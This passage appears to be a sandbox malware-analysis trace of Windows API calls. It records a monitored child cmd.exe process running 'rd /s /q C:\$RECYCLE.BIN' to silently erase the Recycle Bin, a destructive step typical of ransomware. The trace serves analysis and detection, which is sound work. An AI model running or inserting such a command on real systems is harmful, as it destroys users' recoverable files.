	[0232.221] HeapValidate (hHeap=0x272d5b80000, dwFlags=0x0, lpMem=0x272d5b82ee0) returned 1
	[0232.221] GetProcessHeap () returned 0x272d5b80000
	[0232.221] RtlSizeHeap (HeapHandle=0x272d5b80000, Flags=0x0, MemoryPointer=0x272d5b82ee0) returned 0x18
	[0232.221] RtlFreeHeap (HeapHandle=0x272d5b80000, Flags=0x0, BaseAddress=0x272d5b82ee0) returned 1
	[0232.221] exit (_Code=0) 

Thread:
	id = 85
	os_tid = 0x490


Process:
	id = "19"
	image_name = "cmd.exe"
	filename = "c:\\windows\\system32\\cmd.exe"
	page_root = "0x4ff04000"
	os_pid = "0x254"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "12"
	os_parent_pid = "0xfac"
	cmd_line = "cmd /C \"rd /s /q C:\\\\$RECYCLE.BIN\""
	cur_dir = "C:\\WINDOWS\\system32\\"
	os_username = "NQDPDE\\FD1HVy"
	bitness = "32"
	os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00012ce7" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 89
	os_tid = 0x260

	[0234.751] GetModuleHandleW (lpModuleName=0x0) returned 0x7ff68e8e0000
	[0234.751] __set_app_type (_Type=0x1) 
	[0234.751] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x7ff68e8f6d00) returned 0x0
	[0234.752] __getmainargs (in: _Argc=0x7ff68e919200, _Argv=0x7ff68e919208, _Env=0x7ff68e919210, _DoWildCard=0, _StartInfo=0x7ff68e91921c | out: _Argc=0x7ff68e919200, _Argv=0x7ff68e919208, _Env=0x7ff68e919210) returned 0
	[0234.754] _onexit (_Func=0x7ff68e8f7fd0) returned 0x7ff68e8f7fd0
	[0234.754] _onexit (_Func=0x7ff68e8f7fe0) returned 0x7ff68e8f7fe0
	[0234.755] _onexit (_Func=0x7ff68e8f7ff0) returned 0x7ff68e8f7ff0
	[0234.755] _onexit (_Func=0x7ff68e8f8000) returned 0x7ff68e8f8000
	[0234.756] _onexit (_Func=0x7ff68e8f8010) returned 0x7ff68e8f8010
	[0234.756] _onexit (_Func=0x7ff68e8f8020) returned 0x7ff68e8f8020
	[0234.757] GetCurrentThreadId () returned 0x260
	[0234.757] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x260) returned 0x70
	[0234.757] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x7fff4f780000
	[0234.757] GetProcAddress (hModule=0x7fff4f780000, lpProcName="SetThreadUILanguage") returned 0x7fff4f79a990
	[0234.757] SetThreadUILanguage (LangId=0x0) returned 0x409
	[0234.766] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
	[0234.766] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0xe3e36ffca8 | out: phkResult=0xe3e36ffca8*=0x0) returned 0x2
	[0234.767] VirtualQuery (in: lpAddress=0xe3e36ffc94, lpBuffer=0xe3e36ffc10, dwLength=0x30 | out: lpBuffer=0xe3e36ffc10*(BaseAddress=0xe3e36ff000, AllocationBase=0xe3e3600000, AllocationProtect=0x4, __alignment1=0xffffcd06, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0234.767] VirtualQuery (in: lpAddress=0xe3e3600000, lpBuffer=0xe3e36ffc10, dwLength=0x30 | out: lpBuffer=0xe3e36ffc10*(BaseAddress=0xe3e3600000, AllocationBase=0xe3e3600000, AllocationProtect=0x4, __alignment1=0xffffcd06, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0234.767] VirtualQuery (in: lpAddress=0xe3e3601000, lpBuffer=0xe3e36ffc10, dwLength=0x30 | out: lpBuffer=0xe3e36ffc10*(BaseAddress=0xe3e3601000, AllocationBase=0xe3e3600000, AllocationProtect=0x4, __alignment1=0xffffcd06, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0234.767] VirtualQuery (in: lpAddress=0xe3e3604000, lpBuffer=0xe3e36ffc10, dwLength=0x30 | out: lpBuffer=0xe3e36ffc10*(BaseAddress=0xe3e3604000, AllocationBase=0xe3e3600000, AllocationProtect=0x4, __alignment1=0xffffcd06, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0234.767] VirtualQuery (in: lpAddress=0xe3e3700000, lpBuffer=0xe3e36ffc10, dwLength=0x30 | out: lpBuffer=0xe3e36ffc10*(BaseAddress=0xe3e3700000, AllocationBase=0xe3e3700000, AllocationProtect=0x4, __alignment1=0xffffcd06, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0234.767] GetConsoleOutputCP () returned 0x1b5
	[0234.769] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff68e91fbb0 | out: lpCPInfo=0x7ff68e91fbb0) returned 1
	[0234.770] SetConsoleCtrlHandler (HandlerRoutine=0x7ff68e908150, Add=1) returned 1
	[0234.770] _get_osfhandle (_FileHandle=1) returned 0x150
	[0234.770] GetConsoleMode (in: hConsoleHandle=0x150, lpMode=0x7ff68e91fc04 | out: lpMode=0x7ff68e91fc04) returned 0
	[0234.770] _get_osfhandle (_FileHandle=0) returned 0x14c
	[0234.770] GetConsoleMode (in: hConsoleHandle=0x14c, lpMode=0x7ff68e91fc00 | out: lpMode=0x7ff68e91fc00) returned 0
	[0234.771] _get_osfhandle (_FileHandle=1) returned 0x150
	[0234.771] SetConsoleMode (hConsoleHandle=0x150, dwMode=0x0) returned 0
	[0234.771] _get_osfhandle (_FileHandle=1) returned 0x150
	[0234.771] GetConsoleMode (in: hConsoleHandle=0x150, lpMode=0x7ff68e91fc08 | out: lpMode=0x7ff68e91fc08) returned 0
	[0234.771] _get_osfhandle (_FileHandle=0) returned 0x14c
	[0234.771] GetConsoleMode (in: hConsoleHandle=0x14c, lpMode=0x7ff68e91fc0c | out: lpMode=0x7ff68e91fc0c) returned 0
	[0234.771] GetEnvironmentStringsW () returned 0x252396a59a0*
	[0234.772] GetProcessHeap () returned 0x252396a0000
	[0234.772] RtlAllocateHeap (HeapHandle=0x252396a0000, Flags=0x8, Size=0xa7c) returned 0x252396a6430
	[0234.772] FreeEnvironmentStringsA (penv="A") returned 1
	[0234.772] GetProcessHeap () returned 0x252396a0000
	[0234.772] RtlAllocateHeap (HeapHandle=0x252396a0000, Flags=0x8, Size=0x8) returned 0x252396a6ec0
	[0234.772] GetEnvironmentStringsW () returned 0x252396a59a0*
	[0234.772] GetProcessHeap () returned 0x252396a0000
	[0234.772] RtlAllocateHeap (HeapHandle=0x252396a0000, Flags=0x8, Size=0xa7c) returned 0x252396a6ee0
	[0234.773] FreeEnvironmentStringsA (penv="A") returned 1
	[0234.773] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0xe3e36feb58 | out: phkResult=0xe3e36feb58*=0x7c) returned 0x0
	[0234.773] RegQueryValueExW (in: hKey=0x7c, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0xe3e36feb50, lpData=0xe3e36feb70, lpcbData=0xe3e36feb54*=0x1000 | out: lpType=0xe3e36feb50*=0x0, lpData=0xe3e36feb70*=0x4, lpcbData=0xe3e36feb54*=0x1000) returned 0x2
	[0234.773] RegQueryValueExW (in: hKey=0x7c, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0xe3e36feb50, lpData=0xe3e36feb70, lpcbData=0xe3e36feb54*=0x1000 | out: lpType=0xe3e36feb50*=0x4, lpData=0xe3e36feb70*=0x1, lpcbData=0xe3e36feb54*=0x4) returned 0x0
	[0234.773] RegQueryValueExW (in: hKey=0x7c, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0xe3e36feb50, lpData=0xe3e36feb70, lpcbData=0xe3e36feb54*=0x1000 | out: lpType=0xe3e36feb50*=0x0, lpData=0xe3e36feb70*=0x1, lpcbData=0xe3e36feb54*=0x1000) returned 0x2
	[0234.773] RegQueryValueExW (in: hKey=0x7c, lpValueName="DefaultColor", lpReserved=0x0, lpType=0xe3e36feb50, lpData=0xe3e36feb70, lpcbData=0xe3e36feb54*=0x1000 | out: lpType=0xe3e36feb50*=0x4, lpData=0xe3e36feb70*=0x0, lpcbData=0xe3e36feb54*=0x4) returned 0x0
	[0234.773] RegQueryValueExW (in: hKey=0x7c, lpValueName="CompletionChar", lpReserved=0x0, lpType=0xe3e36feb50, lpData=0xe3e36feb70, lpcbData=0xe3e36feb54*=0x1000 | out: lpType=0xe3e36feb50*=0x4, lpData=0xe3e36feb70*=0x40, lpcbData=0xe3e36feb54*=0x4) returned 0x0
	[0234.774] RegQueryValueExW (in: hKey=0x7c, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0xe3e36feb50, lpData=0xe3e36feb70, lpcbData=0xe3e36feb54*=0x1000 | out: lpType=0xe3e36feb50*=0x4, lpData=0xe3e36feb70*=0x40, lpcbData=0xe3e36feb54*=0x4) returned 0x0
	[0234.774] RegQueryValueExW (in: hKey=0x7c, lpValueName="AutoRun", lpReserved=0x0, lpType=0xe3e36feb50, lpData=0xe3e36feb70, lpcbData=0xe3e36feb54*=0x1000 | out: lpType=0xe3e36feb50*=0x0, lpData=0xe3e36feb70*=0x40, lpcbData=0xe3e36feb54*=0x1000) returned 0x2
	[0234.774] RegCloseKey (hKey=0x7c) returned 0x0
	[0234.774] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0xe3e36feb58 | out: phkResult=0xe3e36feb58*=0x7c) returned 0x0
	[0234.774] RegQueryValueExW (in: hKey=0x7c, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0xe3e36feb50, lpData=0xe3e36feb70, lpcbData=0xe3e36feb54*=0x1000 | out: lpType=0xe3e36feb50*=0x0, lpData=0xe3e36feb70*=0x40, lpcbData=0xe3e36feb54*=0x1000) returned 0x2
	[0234.774] RegQueryValueExW (in: hKey=0x7c, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0xe3e36feb50, lpData=0xe3e36feb70, lpcbData=0xe3e36feb54*=0x1000 | out: lpType=0xe3e36feb50*=0x4, lpData=0xe3e36feb70*=0x1, lpcbData=0xe3e36feb54*=0x4) returned 0x0
	[0234.774] RegQueryValueExW (in: hKey=0x7c, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0xe3e36feb50, lpData=0xe3e36feb70, lpcbData=0xe3e36feb54*=0x1000 | out: lpType=0xe3e36feb50*=0x0, lpData=0xe3e36feb70*=0x1, lpcbData=0xe3e36feb54*=0x1000) returned 0x2
	[0234.774] RegQueryValueExW (in: hKey=0x7c, lpValueName="DefaultColor", lpReserved=0x0, lpType=0xe3e36feb50, lpData=0xe3e36feb70, lpcbData=0xe3e36feb54*=0x1000 | out: lpType=0xe3e36feb50*=0x4, lpData=0xe3e36feb70*=0x0, lpcbData=0xe3e36feb54*=0x4) returned 0x0
	[0234.774] RegQueryValueExW (in: hKey=0x7c, lpValueName="CompletionChar", lpReserved=0x0, lpType=0xe3e36feb50, lpData=0xe3e36feb70, lpcbData=0xe3e36feb54*=0x1000 | out: lpType=0xe3e36feb50*=0x4, lpData=0xe3e36feb70*=0x9, lpcbData=0xe3e36feb54*=0x4) returned 0x0
	[0234.774] RegQueryValueExW (in: hKey=0x7c, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0xe3e36feb50, lpData=0xe3e36feb70, lpcbData=0xe3e36feb54*=0x1000 | out: lpType=0xe3e36feb50*=0x4, lpData=0xe3e36feb70*=0x9, lpcbData=0xe3e36feb54*=0x4) returned 0x0
	[0234.774] RegQueryValueExW (in: hKey=0x7c, lpValueName="AutoRun", lpReserved=0x0, lpType=0xe3e36feb50, lpData=0xe3e36feb70, lpcbData=0xe3e36feb54*=0x1000 | out: lpType=0xe3e36feb50*=0x0, lpData=0xe3e36feb70*=0x9, lpcbData=0xe3e36feb54*=0x1000) returned 0x2
	[0234.774] RegCloseKey (hKey=0x7c) returned 0x0
	[0234.775] time (in: timer=0x0 | out: timer=0x0) returned 0x5fea102e
	[0234.775] srand (_Seed=0x5fea102e) 
	[0234.775] GetCommandLineW () returned="cmd /C \"rd /s /q C:\\\\$RECYCLE.BIN\""
	[0234.775] malloc (_Size=0x4000) returned 0x252396254f0
	[0234.776] GetCommandLineW () returned="cmd /C \"rd /s /q C:\\\\$RECYCLE.BIN\""
	[0234.776] malloc (_Size=0xffce) returned 0x25239870080
	[0234.778] ??_V@YAXPEAX@Z () returned 0x25239870080
	[0234.779] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x25239870080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13
	[0234.779] malloc (_Size=0xffce) returned 0x25239880060
	[0234.780] ??_V@YAXPEAX@Z () returned 0x25239880060
	[0234.781] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x25239880060, nSize=0x7fe7 | out: lpFilename="C:\\WINDOWS\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b
	[0234.781] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff68e91bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb
	[0234.781] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff68e91bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0234.782] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff68e91bb90, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0234.782] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13
	[0234.782] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11
	[0234.782] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13
	[0234.782] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13
	[0234.782] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12
	[0234.782] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4
	[0234.782] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2
	[0234.783] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8
	[0234.865] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1
	[0234.865] GetProcessHeap () returned 0x252396a0000
	[0234.865] RtlFreeHeap (HeapHandle=0x252396a0000, Flags=0x0, BaseAddress=0x252396a6430) returned 1
	[0234.866] GetEnvironmentStringsW () returned 0x252396a8440*
	[0234.866] GetProcessHeap () returned 0x252396a0000
	[0234.866] RtlAllocateHeap (HeapHandle=0x252396a0000, Flags=0x8, Size=0xa94) returned 0x252396a59a0
	[0234.866] FreeEnvironmentStringsA (penv="A") returned 1
	[0234.866] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x7ff68e91bb90, nSize=0x2000 | out: lpBuffer="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1b
	[0234.866] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x7ff68e91bb90, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0234.866] _wcsicmp (_String1="KEYS", _String2="CD") returned 8
	[0234.866] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6
	[0234.866] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8
	[0234.866] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8
	[0234.866] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7
	[0234.866] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9
	[0234.866] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7
	[0234.866] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3
	[0234.866] malloc (_Size=0xffce) returned 0x25239890040
	[0234.867] ??_V@YAXPEAX@Z () returned 0x25239890040
	[0234.868] GetProcessHeap () returned 0x252396a0000
	[0234.868] RtlAllocateHeap (HeapHandle=0x252396a0000, Flags=0x8, Size=0x38) returned 0x252396a6440
	[0234.868] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x25239890040 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13
	[0234.869] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32", nBufferLength=0x7fe7, lpBuffer=0x25239890040, lpFilePart=0xe3e36ff6d0 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0xe3e36ff6d0*="system32") returned 0x13
	[0234.869] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32" (normalized: "c:\\windows\\system32")) returned 0x10
	[0234.870] FindFirstFileW (in: lpFileName="C:\\WINDOWS", lpFindFileData=0xe3e36ff400 | out: lpFindFileData=0xe3e36ff400*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0xc838b81d, ftLastAccessTime.dwHighDateTime=0x1d41dc3, ftLastWriteTime.dwLowDateTime=0xc838b81d, ftLastWriteTime.dwHighDateTime=0x1d41dc3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 0x252396a6480
	[0234.870] FindClose (in: hFindFile=0x252396a6480 | out: hFindFile=0x252396a6480) returned 1
	[0234.870] FindFirstFileW (in: lpFileName="C:\\Windows\\system32", lpFindFileData=0xe3e36ff400 | out: lpFindFileData=0xe3e36ff400*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0xc0b701ad, ftLastAccessTime.dwHighDateTime=0x1d5d815, ftLastWriteTime.dwLowDateTime=0xc0b701ad, ftLastWriteTime.dwHighDateTime=0x1d5d815, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System32", cAlternateFileName="")) returned 0x252396a6480
	[0234.870] FindClose (in: hFindFile=0x252396a6480 | out: hFindFile=0x252396a6480) returned 1
	[0234.870] GetFileAttributesW (lpFileName="C:\\Windows\\System32" (normalized: "c:\\windows\\system32")) returned 0x10
	[0234.871] SetCurrentDirectoryW (lpPathName="C:\\Windows\\System32" (normalized: "c:\\windows\\system32")) returned 1
	[0234.871] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Windows\\System32") returned 1
	[0234.871] GetProcessHeap () returned 0x252396a0000
	[0234.871] RtlFreeHeap (HeapHandle=0x252396a0000, Flags=0x0, BaseAddress=0x252396a59a0) returned 1
	[0234.871] GetEnvironmentStringsW () returned 0x252396a8f10*
	[0234.871] GetProcessHeap () returned 0x252396a0000
	[0234.871] RtlAllocateHeap (HeapHandle=0x252396a0000, Flags=0x8, Size=0xac4) returned 0x252396a99e0
	[0234.871] FreeEnvironmentStringsA (penv="=") returned 1
	[0234.872] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x25239870080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13
	[0234.872] GetProcessHeap () returned 0x252396a0000
	[0234.872] RtlFreeHeap (HeapHandle=0x252396a0000, Flags=0x0, BaseAddress=0x252396a6440) returned 1
	[0234.872] ??_V@YAXPEAX@Z () returned 0x1
	[0234.872] ??_V@YAXPEAX@Z () returned 0x1
	[0234.872] GetProcessHeap () returned 0x252396a0000
	[0234.872] RtlAllocateHeap (HeapHandle=0x252396a0000, Flags=0x8, Size=0x4016) returned 0x252396aa4b0
	[0234.873] GetProcessHeap () returned 0x252396a0000
	[0234.873] RtlAllocateHeap (HeapHandle=0x252396a0000, Flags=0x8, Size=0x4c) returned 0x252396a0fc0
	[0234.873] GetProcessHeap () returned 0x252396a0000
	[0234.873] RtlAllocateHeap (HeapHandle=0x252396a0000, Flags=0x8, Size=0x4010) returned 0x252396ae4d0
	[0234.874] GetProcessHeap () returned 0x252396a0000
	[0234.874] RtlAllocateHeap (HeapHandle=0x252396a0000, Flags=0x8, Size=0x4010) returned 0x252396b24f0
	[0234.876] _wcsnicmp (_String1="rd /", _String2="cmd ", _MaxCount=0x4) returned 15
	[0234.877] malloc (_Size=0xffce) returned 0x25239880060
	[0234.877] ??_V@YAXPEAX@Z () returned 0x25239880060
	[0234.878] GetProcessHeap () returned 0x252396a0000
	[0234.878] RtlAllocateHeap (HeapHandle=0x252396a0000, Flags=0x8, Size=0x1ffac) returned 0x252396b6510
	[0234.882] SetErrorMode (uMode=0x0) returned 0x8003
	[0234.882] SetErrorMode (uMode=0x1) returned 0x0
	[0234.882] GetFullPathNameW (in: lpFileName="rd \\s \\q C:\\\\.", nBufferLength=0xffce, lpBuffer=0x252396b6520, lpFilePart=0xe3e36ff810 | out: lpBuffer="C:\\WINDOWS\\system32\\rd \\s \\q C:", lpFilePart=0xe3e36ff810*="q C:") returned 0x1f
	[0234.882] SetErrorMode (uMode=0x8003) returned 0x1
	[0234.882] GetProcessHeap () returned 0x252396a0000
	[0234.882] RtlReAllocateHeap (Heap=0x252396a0000, Flags=0x0, Ptr=0x252396b6510, Size=0x6a) returned 0x252396b6510
	[0234.882] GetProcessHeap () returned 0x252396a0000
	[0234.883] RtlSizeHeap (HeapHandle=0x252396a0000, Flags=0x0, MemoryPointer=0x252396b6510) returned 0x6a
	[0234.883] NeedCurrentDirectoryForExePathW (ExeName="rd \\s \\q C:\\\\.") returned 1
	[0234.883] GetProcessHeap () returned 0x252396a0000
	[0234.883] RtlAllocateHeap (HeapHandle=0x252396a0000, Flags=0x8, Size=0x56) returned 0x252396a1020
	[0234.883] GetProcessHeap () returned 0x252396a0000
	[0234.883] RtlAllocateHeap (HeapHandle=0x252396a0000, Flags=0x8, Size=0x98) returned 0x252396a1080
	[0234.883] GetProcessHeap () returned 0x252396a0000
	[0234.883] RtlReAllocateHeap (Heap=0x252396a0000, Flags=0x0, Ptr=0x252396a1080, Size=0x56) returned 0x252396a1080
	[0234.883] GetProcessHeap () returned 0x252396a0000
	[0234.883] RtlSizeHeap (HeapHandle=0x252396a0000, Flags=0x0, MemoryPointer=0x252396a1080) returned 0x56
	[0234.883] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff68e91bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0234.883] GetProcessHeap () returned 0x252396a0000
	[0234.884] RtlAllocateHeap (HeapHandle=0x252396a0000, Flags=0x8, Size=0xe8) returned 0x252396a10f0
	[0234.891] GetProcessHeap () returned 0x252396a0000
	[0234.891] RtlReAllocateHeap (Heap=0x252396a0000, Flags=0x0, Ptr=0x252396a10f0, Size=0x7e) returned 0x252396a10f0
	[0234.891] GetProcessHeap () returned 0x252396a0000
	[0234.891] RtlSizeHeap (HeapHandle=0x252396a0000, Flags=0x0, MemoryPointer=0x252396a10f0) returned 0x7e
	[0234.891] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0234.891] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\rd \\s \\q C:\\$RECYCLE.BIN", fInfoLevelId=0x1, lpFindFileData=0xe3e36ff580, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xe3e36ff580) returned 0xffffffffffffffff
	[0234.892] GetLastError () returned 0x7b
	[0234.892] ??_V@YAXPEAX@Z () returned 0x1
	[0234.897] GetProcessHeap () returned 0x252396a0000
	[0234.897] RtlFreeHeap (HeapHandle=0x252396a0000, Flags=0x0, BaseAddress=0x252396ae4d0) returned 1
	[0234.899] GetProcessHeap () returned 0x252396a0000
	[0234.899] RtlFreeHeap (HeapHandle=0x252396a0000, Flags=0x0, BaseAddress=0x252396b24f0) returned 1
	[0234.899] GetProcessHeap () returned 0x252396a0000
	[0234.899] RtlFreeHeap (HeapHandle=0x252396a0000, Flags=0x0, BaseAddress=0x252396aa4b0) returned 1
	[0234.899] GetConsoleOutputCP () returned 0x1b5
	[0234.901] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff68e91fbb0 | out: lpCPInfo=0x7ff68e91fbb0) returned 1
	[0234.901] GetUserDefaultLCID () returned 0x409
	[0234.902] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x7ff68e91bb78, cchData=8 | out: lpLCData=":") returned 2
	[0234.902] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0xe3e36ffa90, cchData=128 | out: lpLCData="0") returned 2
	[0234.902] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0xe3e36ffa90, cchData=128 | out: lpLCData="0") returned 2
	[0234.902] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0xe3e36ffa90, cchData=128 | out: lpLCData="1") returned 2
	[0234.902] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x7ff68e91bb68, cchData=8 | out: lpLCData="/") returned 2
	[0234.902] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x7ff68e91bb00, cchData=32 | out: lpLCData="Mon") returned 4
	[0234.902] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x7ff68e91bac0, cchData=32 | out: lpLCData="Tue") returned 4
	[0234.902] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x7ff68e91ba80, cchData=32 | out: lpLCData="Wed") returned 4
	[0234.902] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x7ff68e91ba40, cchData=32 | out: lpLCData="Thu") returned 4
	[0234.902] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x7ff68e91ba00, cchData=32 | out: lpLCData="Fri") returned 4
	[0234.902] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x7ff68e91b9c0, cchData=32 | out: lpLCData="Sat") returned 4
	[0234.903] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x7ff68e91b980, cchData=32 | out: lpLCData="Sun") returned 4
	[0234.903] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x7ff68e91bb58, cchData=8 | out: lpLCData=".") returned 2
	[0234.903] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x7ff68e91bb40, cchData=8 | out: lpLCData=",") returned 2
	[0234.903] setlocale (category=0, locale=".OCP") returned="English_United States.437"
	[0234.904] GetProcessHeap () returned 0x252396a0000
	[0234.905] RtlAllocateHeap (HeapHandle=0x252396a0000, Flags=0x0, Size=0x20c) returned 0x252396a11f0
	[0234.905] GetConsoleTitleW (in: lpConsoleTitle=0x252396a11f0, nSize=0x104 | out: lpConsoleTitle="cmd.exe") returned 0x8
	[0234.906] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x7fff4f780000
	[0234.906] GetProcAddress (hModule=0x7fff4f780000, lpProcName="CopyFileExW") returned 0x7fff4f79e830
	[0234.907] GetProcAddress (hModule=0x7fff4f780000, lpProcName="IsDebuggerPresent") returned 0x7fff4f79e300
	[0234.907] GetProcAddress (hModule=0x7fff4f780000, lpProcName="SetConsoleInputExeNameW") returned 0x7fff4c990a40
	[0234.907] ??_V@YAXPEAX@Z () returned 0x1
	[0234.908] GetProcessHeap () returned 0x252396a0000
	[0234.908] RtlAllocateHeap (HeapHandle=0x252396a0000, Flags=0x8, Size=0x4012) returned 0x252396aa4b0
	[0234.908] GetProcessHeap () returned 0x252396a0000
	[0234.908] RtlFreeHeap (HeapHandle=0x252396a0000, Flags=0x0, BaseAddress=0x252396aa4b0) returned 1
	[0234.909] _wcsicmp (_String1="rd", _String2=")") returned 73
	[0234.909] _wcsicmp (_String1="FOR", _String2="rd") returned -12
	[0234.909] _wcsicmp (_String1="FOR/?", _String2="rd") returned -12
	[0234.909] _wcsicmp (_String1="IF", _String2="rd") returned -9
	[0234.909] _wcsicmp (_String1="IF/?", _String2="rd") returned -9
	[0234.909] _wcsicmp (_String1="REM", _String2="rd") returned 1
	[0234.909] _wcsicmp (_String1="REM/?", _String2="rd") returned 1
	[0234.909] GetProcessHeap () returned 0x252396a0000
	[0234.909] RtlAllocateHeap (HeapHandle=0x252396a0000, Flags=0x8, Size=0xb0) returned 0x252396a1410
	[0234.909] GetProcessHeap () returned 0x252396a0000
